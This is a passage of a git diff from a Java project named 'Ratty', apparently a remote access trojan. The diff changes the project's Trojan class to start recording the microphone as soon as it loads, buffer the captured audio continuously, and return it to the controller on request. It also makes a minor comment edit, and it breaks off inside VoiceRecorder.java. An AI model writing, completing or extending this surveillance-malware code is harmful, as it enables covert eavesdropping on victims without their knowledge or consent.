diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 53203b8..4c55e3a 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -70,7 +70,7 @@ public final class Ratty { try { final int port = Integer.parseInt(input); - if (port < 0 || port > 65535) { + if (port < 0 || port > 65535) { //65535 = Max port return -1; } diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 8c51774..302c50d 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -5,28 +5,31 @@ import de.sogomn.rat.packet.VoicePacket; public final class Trojan implements IClientObserver { + private VoiceRecorder voiceRecorder; + private byte[] lastData; + private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8; public Trojan() { - //... + voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE); + lastData = new byte[0]; + + voiceRecorder.addListener((source, data) -> { + lastData = data; + source.start(); + }); + voiceRecorder.start(); } @Override public void packetReceived(final ActiveClient client, final IPacket packet) { if (packet instanceof VoicePacket) { - final VoiceRecorder recorder = new VoiceRecorder(); final VoicePacket voice = (VoicePacket)packet; - recorder.setLimit(MICROPHONE_BUFFER_SIZE); - recorder.addListener((source, data) -> { - voice.setData(data); - - packet.execute(client); - }); - recorder.start(); - } else { - packet.execute(client); + voice.setData(lastData); } + + packet.execute(client); } @Override diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java index df478fa..8c010aa 100644 --- a/Ratty/src/de/sogomn/rat/VoiceRecorder.java +++ b/Ratty/src/de/sogomn/rat/VoiceRecorder.java @@ -66,6 +66,7 @@ public final class VoiceRecorder extends AbstractListenerContainer